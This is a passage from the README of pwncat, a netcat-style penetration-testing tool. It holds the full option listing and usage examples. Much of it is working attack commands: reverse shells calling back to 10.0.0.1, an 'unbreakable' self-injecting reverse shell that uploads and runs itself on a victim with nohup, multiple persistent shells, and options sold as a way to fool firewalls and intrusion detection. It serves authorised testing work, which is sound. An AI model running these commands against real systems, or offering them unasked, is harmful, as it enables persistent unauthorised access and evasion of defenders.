output.txt\npwncat localhost 4444 \u003c input.txt\n\n# [TCP]\n# Neither of both, client and server will quit after successful transfer\n# and they will be stuck, waiting for more input or output.\n# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.\npwncat -l 4444 --no-shutdown \u003e output.txt\npwncat localhost 4444 --no-shutdown \u003c input.txt\n```\n\nBe advised that it is not reliable to send files via UDP\n```bash\n# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)\n# Neither of both, client and server will quit after successful transfer\n# and they will be stuck, waiting for more input or output.\n# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.\npwncat -u -l 4444 \u003e output.txt\npwncat -u localhost 4444 \u003c input.txt\n```\n\nThere are many ways to alter this default behaviour. Have a look at the [usage](#computer-usage)\nsection for more advanced settings.\n\n\n## :computer: Usage\n\n### Keys\n\n| Behaviour      | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] |\n|----------------|---------------|---------------|-----------------|\n| Quit (SIGINT)  | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e  | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e |\n| Quit (SIGQUIT) | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003e\\\\\u003c/kbd\u003e | ? | ? |\n| Quit (SIGQUIT) | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003e4\u003c/kbd\u003e  | ? | ? |\n| Quit STDIN\u003csup\u003e[1]\u003c/sup\u003e | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ed\u003c/kbd\u003e  | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ed\u003c/kbd\u003e | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ez\u003c/kbd\u003e and \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003eEnter\u003c/kbd\u003e |\n| Send (NL)      | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ej\u003c/kbd\u003e  | ? | ? |\n| Send (EOL)     | \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003em\u003c/kbd\u003e  | ? | ? |\n| Send (EOL)     | \u003ckbd\u003eEnter\u003c/kbd\u003e              | \u003ckbd\u003eEnter\u003c/kbd\u003e | \u003ckbd\u003eEnter\u003c/kbd\u003e |\n\n\u003e \u003csup\u003e[1] Only works when not using `--no-shutdown` and `--keep`. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket.\u003c/sup\u003e\n\n[Linux]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/linux.png \"Linux\"\n[MacOS]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png \"MacOS\"\n[Windows]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/windows.png \"Windows\"\n\n### Command line arguments\n\nType `pwncat -h` or click below to see all available options.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003cstrong\u003eClick here to expand usage\u003c/strong\u003e\u003c/summary\u003e\n\n```\nusage: pwncat [options] hostname port\n       pwncat [options] -l [hostname] port\n       pwncat [options] -z hostname port\n       pwncat [options] -L [addr:]port hostname port\n       pwncat [options] -R addr:port hostname port\n       pwncat -V, --version\n       pwncat -h, --help\n\n\nEnhanced and compatible Netcat implementation written in Python (2 and 3) with\nconnect, zero-i/o, listen and forward modes and techniques to detect and evade\nfirewalls and intrusion detection/prevention systems.\n\nIf no mode arguments are specified, pwncat will run in connect mode and act as\na client to connect to a remote endpoint. If the connection to the remote\nendoint is lost, pwncat will quit. See options for how to automatically re-\nconnect.\n\npositional arguments:\n  hostname              Address to listen, forward, scan or connect to.\n\n  port                  [All modes]\n                        Single port to listen, forward or connect to.\n                        [Zero-I/O mode]\n                        Specify multiple ports to scan:\n                        Via list:  4444,4445,4446\n                        Via range: 4444-4446\n                        Via incr:  4444+2\n\nmode arguments:\n  -l, --listen          [Listen mode]:\n                        Start a server and listen for incoming connections.\n                        If using TCP and a connected client disconnects or the\n                        connection is interrupted otherwise, the server will\n                        quit. See -k/--keep-open to change this behaviour.\n\n  -z, --zero            [Zero-I/0 mode]:\n                        Connect to a remote endpoint and report status only.\n                        Used for port scanning.\n                        See --banner for version detection.\n\n  -L [addr:]port, --local [addr:]port\n                        [Local forward mode]:\n                        This mode will start a server and a client internally.\n                        The internal server will listen locally on specified\n                        addr/port (given by --local [addr:]port).\n                        The server will then forward traffic to the internal\n                        client which connects to another server specified by\n                        hostname/port given via positional arguments.\n                        (I.e.: proxies a remote service to a local address)\n\n  -R addr:port, --remote addr:port\n                        [Remote forward mode]:\n                        This mode will start two clients internally. One is\n                        connecting to the target and one is connecting to\n                        another pwncat/netcat server you have started some-\n                        where. Once connected, it will then proxy traffic\n                        between you and the target.\n                        This mode should be applied on machines that block\n                        incoming traffic and only allow outbound.\n                        The connection to your listening server is given by\n                        -R/--remote addr:port and the connection to the\n                        target machine via the positional arguments.\n\noptional arguments:\n  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.\n\n  -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing\n                        line endings for input and outout accordingly. Specify\n                        'no' to completely remove any line feeds. By default\n                        it will not replace anything and takes what is entered\n                        (usually CRLF on Windows, LF on Linux and some times\n                        CR on MacOS).\n\n  -n, --nodns           Do not resolve DNS.\n\n  --send-on-eof         Buffer data received on stdin until EOF and send\n                        everything in one chunk.\n\n  --no-shutdown         Do not shutdown into half-duplex mode.\n                        If this option is passed, pwncat won't invoke shutdown\n                        on a socket after seeing EOF on stdin. This is provided\n                        for backward-compatibility with OpenBSD netcat, which\n                        exhibits this behavior.\n\n  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv\n                        or -vvvv for more verbosity. The server performance will\n                        decrease drastically if you use more than three times.\n\n  --info type           Show additional info about sockets, IPv4/6 or TCP opts\n                        applied to the current socket connection. Valid\n                        parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.\n                        Note, you must at least be in INFO verbose mode in order\n                        to see them (-vv).\n\n  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.\n                        In 'auto' mode, color is displayed as long as the output\n                        goes to a terminal. If it is piped into a file, color\n                        will automatically be disabled. This mode also disables\n                        color on Windows by default. (default: auto)\n\n  --safe-word str       All modes:\n                        If pwncat is started with this argument, it will shut\n                        down as soon as it receives the specified string. The\n                        --keep-open (server) or --reconn (client) options will\n                        be ignored and it won't listen again or reconnect to you.\n                        Use a very unique string to not have it shut down\n                        accidentally by other input.\n\nprotocol arguments:\n  -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).\n\n  -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).\n\n  -u, --udp             Use UDP for the connection instead of TCP.\n\n  -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.\n                        Valid values are the tokens 'mincost', 'lowcost',\n                        'reliability', 'throughput' or 'lowdelay'.\n\n  --http                Connect / Listen mode (TCP and UDP):\n                        Hide traffic in http packets to fool Firewalls/IDS/IPS.\n\n  --https               Connect / Listen mode (TCP and UDP):\n                        Hide traffic in https packets to fool Firewalls/IDS/IPS.\n\n  -H [str [str ...]], --header [str [str ...]]\n                        Add HTTP headers to your request when using --http(s).\n\ncommand \u0026 control arguments:\n  --self-inject cmd:host:port[s]\n                        Listen mode (TCP only):\n                        If you are about to inject a reverse shell onto the\n                        victim machine (via php, bash, nc, ncat or similar),\n                        start your listening server with this argument.\n                        This will then (as soon as the reverse shell connects)\n                        automatically deploy and background-run an unbreakable\n                        pwncat reverse shell onto the victim machine which then\n                        also connects back to you with specified arguments.\n                        Example: '--self-inject /bin/bash:10.0.0.1:4444'\n                        It is also possible to launch multiple reverse shells by\n                        specifying multiple ports.\n                        Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446\n                        Via range: --self-inject /bin/sh:10.0.0.1:4444-4446\n                        Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2\n                        Note: this is currently an experimental feature and does\n                        not work on Windows remote hosts yet.\n\npwncat scripting engine:\n  --script-send file    All modes (TCP and UDP):\n                        A Python scripting engine to define your own custom\n                        transformer function which will be executed before\n                        sending data to a remote endpoint. Your file must\n                        contain the exact following function which will:\n                        be applied as the transformer:\n                        def transform(data, pse):\n                            # NOTE: the function name must be 'transform'\n                            # NOTE: the function param name must be 'data'\n                            # NOTE: indentation must be 4 spaces\n                            # ... your transformations goes here\n                            return data\n                        You can also define as many custom functions or classes\n                        within this file, but ensure to prefix them uniquely to\n                        not collide with pwncat's function or classes, as the\n                        file will be called with exec().\n\n  --script-recv file    All modes (TCP and UDP):\n                        A Python scripting engine to define your own custom\n                        transformer function which will be executed after\n                        receiving data from a remote endpoint. Your file must\n                        contain the exact following function which will:\n                        be applied as the transformer:\n                        def transform(data, pse):\n                            # NOTE: the function name must be 'transform'\n                            # NOTE: the function param name must be 'data'\n                            # NOTE: indentation must be 4 spaces\n                            # ... your transformations goes here\n                            return data\n                        You can also define as many custom functions or classes\n                        within this file, but ensure to prefix them uniquely to\n                        not collide with pwncat's function or classes, as the\n                        file will be called with exec().\n\nzero-i/o mode arguments:\n  --banner              Zero-I/O (TCP and UDP):\n                        Try banner grabbing during port scan.\n\nlisten mode arguments:\n  -k, --keep-open       Listen mode (TCP only):\n                        Re-accept new clients in listen mode after a client has\n                        disconnected or the connection is interrupted otherwise.\n                        (default: server will quit after connection is gone)\n\n  --rebind [x]          Listen mode (TCP and UDP):\n                        If the server is unable to bind, it will re-initialize\n                        itself x many times before giving up. Omit the\n                        quantifier to rebind endlessly or specify a positive\n                        integer for how many times to rebind before giving up.\n                        See --rebind-robin for an interesting use-case.\n                        (default: fail after first unsuccessful try).\n\n  --rebind-wait s       Listen mode (TCP and UDP):\n                        Wait x seconds between re-initialization. (default: 1)\n\n  --rebind-robin port   Listen mode (TCP and UDP):\n                        If the server is unable to initialize (e.g: cannot bind\n                        and --rebind is specified, it it will shuffle ports in\n                        round-robin mode to bind to.\n                        Use comma separated string such as '80,81,82,83', a range\n                        of ports '80-83' or an increment '80+3'.\n                        Set --rebind to at least the number of ports to probe +1\n                        This option requires --rebind to be specified.\n\nconnect mode arguments:\n  --source-addr addr    Specify source bind IP address for connect mode.\n\n  --source-port port    Specify source bind port for connect mode.\n\n  --reconn [x]          Connect mode (TCP and UDP):\n                        If the remote server is not reachable or the connection\n                        is interrupted, the client will connect again x many\n                        times before giving up. Omit the quantifier to retry\n                        endlessly or specify a positive integer for how many\n                        times to retry before giving up.\n                        (default: quit if the remote is not available or the\n                        connection was interrupted)\n                        This might be handy for stable TCP reverse shells ;-)\n                        Note on UDP:\n                        By default UDP does not know if it is connected, so\n                        it will stop at the first port and assume it has a\n                        connection. Consider using --udp-sconnect with this\n                        option to make UDP aware of a successful connection.\n\n  --reconn-wait s       Connect mode (TCP and UDP):\n                        Wait x seconds between re-connects. (default: 1)\n\n  --reconn-robin port   Connect mode (TCP and UDP):\n                        If the remote server is not reachable or the connection\n                        is interrupted and --reconn is specified, the client\n                        will shuffle ports in round-robin mode to connect to.\n                        Use comma separated string such as '80,81,82,83', a range\n                        of ports '80-83' or an increment '80+3'.\n                        Set --reconn to at least the number of ports to probe +1\n                        This helps reverse shell to evade intrusiona prevention\n                        systems that will cut your connection and block the\n                        outbound port.\n                        This is also useful in Connect or Zero-I/O mode to\n                        figure out what outbound ports are allowed.\n\n  --ping-init           Connect mode (TCP and UDP):\n                        UDP is a stateless protocol unlike TCP, so no hand-\n                        shake communication takes place and the client just\n                        sends data to a server without being \"accepted\" by\n                        the server first.\n                        This means a server waiting for an UDP client to\n                        connect to, is unable to send any data to the client,\n                        before the client hasn't send data first. The server\n                        simply doesn't know the IP address before an initial\n                        connect.\n                        The --ping-init option instructs the client to send one\n                        single initial ping packet to the server, so that it is\n                        able to talk to the client.\n                        This is a way to make a UDP reverse shell work.\n                        See --ping-word for what char/string to send as initial\n                        ping packet (default: '\\0')\n\n  --ping-intvl s        Connect mode (TCP and UDP):\n                        Instruct the client to send ping intervalls every s sec.\n                        This allows you to restart your UDP server and just wait\n                        for the client to report back in. This might be handy\n                        for stable UDP reverse shells ;-)\n                        See --ping-word for what char/string to send as initial\n                        ping packet (default: '\\0')\n\n  --ping-word str       Connect mode (TCP and UDP):\n                        Change the default character '\\0' to use for upd ping.\n                        Single character or strings are supported.\n\n  --ping-robin port     Connect mode (TCP and UDP):\n                        Instruct the client to shuffle the specified ports in\n                        round-robin mode for a remote server to ping.\n                        This might be handy to scan outbound allowed ports.\n                        Use comma separated string such as '80,81,82,83', a range\n                        of ports '80-83' or an increment '80+3'.\n                        Use --ping-intvl 0 to be faster.\n\n  --udp-sconnect        Connect mode (UDP only):\n                        Emulating stateful behaviour for UDP connect phase by\n                        sending an initial packet to the server to validate if\n                        it is actually connected.\n                        By default, UDP will simply issue a connect and is not\n                        aware if it is really connected or not.\n                        The default connect packet to be send is '\\0', you\n                        can change this with --udp-sconnect-word.\n\n  --udp-sconnect-word [str]\n                        Connect mode (UDP only):\n                        Change the the data to be send for UDP stateful connect\n                        behaviour. Note you can also omit the string to send an\n                        empty packet (EOF), but be aware that some servers such\n                        as netcat will instantly quit upon receive of an EOF\n                        packet.\n                        The default is to send a null byte sting: '\\0'.\n\nmisc arguments:\n  -h, --help            Show this help message and exit\n  -V, --version         Show version information and exit\n```\n\u003c/details\u003e\n\n\n## :bulb: Examples\n\n### Upgrade your shell to interactive\n\u003c!--\n\u003cdetails\u003e\n  \u003csummary\u003eClick to expand\u003c/summary\u003e\n--\u003e\n\n\u003e This is a universal advice and not only works with `pwncat`, but with all other common tools.\n\nWhen connected with a reverse or bind shell you'll notice that no interactive commands will work and\nhitting \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e will terminate your session.\nTo fix this, you'll need to attach it to a TTY (make it interactive). Here's how:\n```bash\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n```\n\u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ez\u003c/kbd\u003e\n```bash\n# get your current terminal size (rows and columns)\nstty size\n\n# for bash/sh (enter raw mode and disable echo'ing)\nstty raw -echo\nfg\n\n# for zsh (enter raw mode and disable echo'ing)\nstty raw -echo; fg\n\nreset\nexport SHELL=bash\nexport TERM=xterm\nstty rows \u003cnum\u003e columns \u003ccols\u003e   # \u003cnum\u003e and \u003ccols\u003e values found above by 'stty size'\n```\n\u003e \u003csup\u003e[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)\u003c/sup\u003e\n\n\n### UDP reverse shell\nWithout tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a `connect()` method as TCP does.\nIn TCP mode, the server will know the client IP and port, once the client issues a `connects()`.\nIn UDP mode, as there is no `connect()`, the client simply sends data to an address/port without having to connect first.\nTherefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first.\nThe only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.\n\n`pwncat` emulates the TCP `connect()` by having the client send a null byte to the server once or periodically via `--ping-intvl` or `--ping-init`.\n\n```bash\n# The client\n# --exec            # Provide this executable\n# --udp             # Use UDP mode\n# --ping-init       # Send an initial null byte to the server\npwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444\n```\n\n\n### Unbreakable TCP reverse shell\nWhy unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.\nIn other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.\n```bash\n# The client\n# --exec            # Provide this executable\n# --nodns           # Keep the noise down and don't resolve hostnames\n# -reconn          # Automatically reconnect back to you indefinitely\n# --reconn-wait     # If connection is lost, connect back to you every 2 seconds\n\npwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444\n```\n\n### Unbreakable UDP reverse shell\nWhy unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.\nIn other words, the client will keep sending null bytes to the server to constantly announce itself.\n```bash\n# The client\n# --exec            # Provide this executable\n# --nodns           # Keep the noise down and don't resolve hostnames\n# --udp             # Use UDP mode\n# --ping-intvl      # Ping the server every 2 seconds\n\npwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444\n```\n\n### Self-injecting reverse shell\n\nLet's imagine you are able to create a very simple and unstable reverse shell from the target to\nyour machine, such as a web shell via a PHP script or similar.\nKnowing, that this will not persist very long or might break due to unstable network connection,\nyou could use `pwncat` to hook into this connection and deploy itself unbreakably on the target - fully automated.\n\n\u003ca href=\"https://www.youtube.com/watch?v=lN10hgl_Ts8\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\u0026t=0s\"\u003e\u003cimg width=\"400\" style=\"width:400px;\" src=\"docs/img/video01.png\" /\u003e\u003c/a\u003e\n\n\u003e [View on Youtube](https://www.youtube.com/watch?v=lN10hgl_Ts8\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\u0026t=0s)\n\nAll you have to do, is use `pwncat` as your local listener and start it with the `--self-inject`\nswitch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:\n\n1. Enumerate Python availability and versions on the target\n2. Dump itself base64 encoded onto the target\n3. Use the target's Python to decode itself.\n4. Use the target's Python to start itself as an unbreakable reverse shell back to you\n\nOnce this is done, you can keep using the current connection or simply abandon it and start a new\nlistener (yes, you don't need to start the listener before starting the reverse shell) to have\nthe new `pwncat` client connect to you. The new listener also doesn't have to be `pwncat`, it can\nalso be `netcat` or `ncat`.\n\nThe **`--self-inject`** switch:\n```bash\npwncat -l 4444 --self-inject \u003ccmd\u003e:\u003chost\u003e:\u003cport\u003e\n```\n\n* `\u003ccmd\u003e`: This is the command to start on the target (like `-e`/`--exec`, so you want it to be `cmd.exe` or `/bin/bash`)\n* `\u003chost\u003e`: This is for your local machine, the IP address to where the reverse shell shall connect back to\n* `\u003cport\u003e`: This is for your local machine, the port on which the reverse shell shall connect back to\n\nSo imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port `4444`:\n```bash\n# Start this locally, before starting the reverse webshell\npwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445\n```\nYou will then see something like this:\n```\n[PWNCAT CnC] Probing for: /bin/python\n[PWNCAT CnC] Probing for: /bin/python2\n[PWNCAT CnC] Probing for: /bin/python2.7\n[PWNCAT CnC] Probing for: /bin/python3\n[PWNCAT CnC] Probing for: /bin/python3.5\n[PWNCAT CnC] Probing for: /bin/python3.6\n[PWNCAT CnC] Probing for: /bin/python3.7\n[PWNCAT CnC] Probing for: /bin/python3.8\n[PWNCAT CnC] Probing for: /usr/bin/python\n[PWNCAT CnC] Potential path: /usr/bin/python\n[PWNCAT CnC] Found valid Python2 version: 2.7.16\n[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us\n[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT\n[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -\u003e /tmp/tmpgHg7YT (3422/3422)\n[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -\u003e /tmp/tmp3CJ8Us\nStarting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 \u0026\n```\nAnd you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).\n```bash\n# either netcat\nnc -lp 4445\n# or ncat\nncat -l 4445\n# or pwncat\npwncat -l 4445\n```\n\n### Unlimited self-injecting reverse shells\n\nInstead of just asking for a single self-injecting reverse shell, you can instruct `pwncat` to spawn as many unbreakable reverse shells connecting back to you as you desire.\n\n\u003ca href=\"https://www.youtube.com/watch?v=VQyFoUG18WY\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\"\u003e\u003cimg width=\"400\" style=\"width:400px;\" src=\"docs/img/video02.png\" /\u003e\u003c/a\u003e\n\n\u003e [View on Youtube](https://www.youtube.com/watch?v=VQyFoUG18WY\u0026list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc\u0026index=2\")\n\nThe `--self-inject` argument allows you to not only define a single port, but also\n\n1. A comma separated list of ports: `4445,4446,4447,4448`\n2. A range definition: `4446-4448`\n3. An increment: `4445+3`\n\nIn order to spawn 4 reverse shells you would start your listener just as described above, but instead\nof a single port, you define multiple:\n\n```bash\n# Comma separated\npwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448\n\n# Range\npwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448\n\n# Increment\npwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3\n```\nEach of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target.\nOnce the client connects, the output will look something like this:\n\n```\n[PWNCAT CnC] Probing for: /bin/python\n[PWNCAT CnC] Probing for: /bin/python2\n[PWNCAT CnC] Probing for: /bin/python2.7\n[PWNCAT CnC] Probing for: /bin/python3\n[PWNCAT CnC] Probing for: /bin/python3.5\n[PWNCAT CnC] Probing for: /bin/python3.6\n[PWNCAT CnC] Probing for: /bin/python3.7\n[PWNCAT CnC] Probing for: /bin/python3.8\n[PWNCAT CnC] Probing for: /usr/bin/python\n[PWNCAT CnC] Potential path: /usr/bin/python\n[PWNCAT CnC] Found valid Python2 version: 2.7.16\n[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us\n[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT\n[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -\u003e /tmp/tmpgHg7YT (3422/3422)\n[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -\u003e /tmp/tmp3CJ8Us\nStarting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 \u0026\nStarting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 \u0026\nStarting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 \u0026\nStarting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 \u0026\n```\n\n### Logging\n\n\u003e **Note:** Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.\n\n#### Log level and redirection\n\nIf you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot.\nLog message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file.\nYou can also manually disable colored logging for terminal outputs via the `--color` switch.\n```bash\npwncat -vvvv -l 4444\n```\nYou will see (among all the gibberish) a TRACE message:\n```bash\n2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'\n2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\\x1b[32m[0]\\x1b[0m\\r\\r\\n'\n2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\\x1b[32m[0]\\x1b[0m\\r\\r\\n'\n2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744\n2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\\x1b[32m[0]\\x1b[0m\\r\\r\\n'\n2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)\n2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output\n```\n\nAs soon as you saw this on the listener, you can issue commands to the client.\nAll the debug messages are also not necessary, so you can safely \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e terminate\nyour server and start it again in silent mode:\n```bash\npwncat -l 4444\n```\nNow wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.\n\nHaving no info messages at all, is also sometimes not desirable. You might want to know what is going\non behind the scences or? Safely \u003ckbd\u003eCtrl\u003c/kbd\u003e+\u003ckbd\u003ec\u003c/kbd\u003e terminate your server and redirect\nthe notifications to a logfile:\n```bash\npwncat -l -vvv 4444 2\u003e comm.txt\n```\nNow all you'll see in your terminal session are the actual command inputs and outputs.\nIf you want to see what's going on behind the scene, open a second terminal window and tail\nthe `comm.txt` file:\n```bash\n# View communication info\ntail -fn50 comm.txt\n\n2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'\n2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\\x1b[32m[0]\\x1b[0m\\r\\r\\n'\n2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\\x1b[32m[0]\\x1b[0m\\r\\r\\n'\n2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744\n2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\\x1b[32m[0]\\x1b[0m\\r\\r\\n'\n2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)\n2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output\n```\n\n#### Socket information\n\nAnother useful feature is to display currently configured socket and network settings.\nUse the `--info` switch with either `socket`, `ipv4`, `ipv6`, `tcp` or `all` to display all\navailable settings.\n\n**Note:** In order to view those settings, you must at least be at `INFO` log level (`-vv`).\n\nAn example output in IPv4/TCP mode without any custom settings is shown below:\n```\nINFO: [bind-sock] Sock: SO_DEBUG: 0\nINFO: [bind-sock] Sock: SO_ACCEPTCONN: 1\nINFO: [bind-sock] Sock: SO_REUSEADDR: 1\nINFO: [bind-sock] Sock: SO_KEEPALIVE: 0\nINFO: [bind-sock] Sock: SO_DONTROUTE: 0\nINFO: [bind-sock] Sock: SO_BROADCAST: 0\nINFO: [bind-sock] Sock: SO_LINGER: 0\nINFO: [bind-sock] Sock: SO_OOBINLINE: 0\nINFO: [bind-sock] Sock: SO_REUSEPORT: 0\nINFO: [bind-sock] Sock: SO_SNDBUF: 16384\nINFO: [bind-sock] Sock: SO_RCVBUF: 131072\nINFO: [bind-sock] Sock: SO_SNDLOWAT: 1\nINFO: [bind-sock] Sock: SO_RCVLOWAT: 1\nINFO: [bind-sock] Sock: SO_SNDTIMEO: 0\nINFO: [bind-sock] Sock: SO_RCVTIMEO: 0\nINFO: [bind-sock] Sock: SO_ERROR: 0\nINFO: [bind-sock] Sock: SO_TYPE: 1\nINFO: [bind-sock] Sock: SO_PASSCRED: 0\nINFO: [bind-sock] Sock: SO_PEERCRED: 0\nINFO: [bind-sock] Sock: SO_BINDTODEVICE: 0\nINFO: [bind-sock] Sock: SO_PRIORITY: 0\nINFO: [bind-sock] Sock: SO_MARK: 0\nINFO: [bind-sock] IPv4: IP_OPTIONS: 0\nINFO: [bind-sock] IPv4: IP_HDRINCL: 0\nINFO: [bind-sock] IPv4: IP_TOS: 0\nINFO: [bind-sock] IPv4: IP_TTL: 64\nINFO: [bind-sock] IPv4: IP_RECVOPTS: 0\nINFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0\nINFO: [bind-sock] IPv4: IP_RETOPTS: 0\nINFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0\nINFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1\nINFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1\nINFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0\nINFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0\nINFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0\nINFO: [bind-sock] IPv4: IP_TRANSPARENT: 0\nINFO: [bind-sock] TCP: TCP_NODELAY: 0\nINFO: [bind-sock] TCP: TCP_MAXSEG: 536\nINFO: [bind-sock] TCP: TCP_CORK: 0\nINFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200\nINFO: [bind-sock] TCP: TCP_KEEPINTVL: 75\nINFO: [bind-sock] TCP: TCP_KEEPCNT: 9\nINFO: [bind-sock] TCP: TCP_SYNCNT: 6\nINFO: [bind-sock] TCP: TCP_LINGER2: 60\nINFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0\nINFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0\nINFO: [bind-sock] TCP: TCP_INFO: 10\nINFO: [bind-sock] TCP: TCP_QUICKACK: 1\nINFO: [bind-sock] TCP: TCP_FASTOPEN: 0\n```\n\n\n\u003c!--\n\u003c/details\u003e\n--\u003e\n\n### Port forwarding magic\n\n\u003c!--\n\u003cdetails\u003e\n  \u003csummary\u003eClick to expand\u003c/summary\u003e\n--\u003e\n\n#### Local TCP port forwarding\n\n**Scenario**\n1. Alice can be reached from the Outside (TCP/UDP)\n2. Bob can only be reached from Alice's machine\n```\n                              |                               |\n        Outside               |           DMZ                 |        private subnet\n                              |                               |\n                              |                               |\n     +-----------------+     TCP     +-----------------+     TCP     +-----------------+\n     | The cat         | -----|----\u003e | Alice  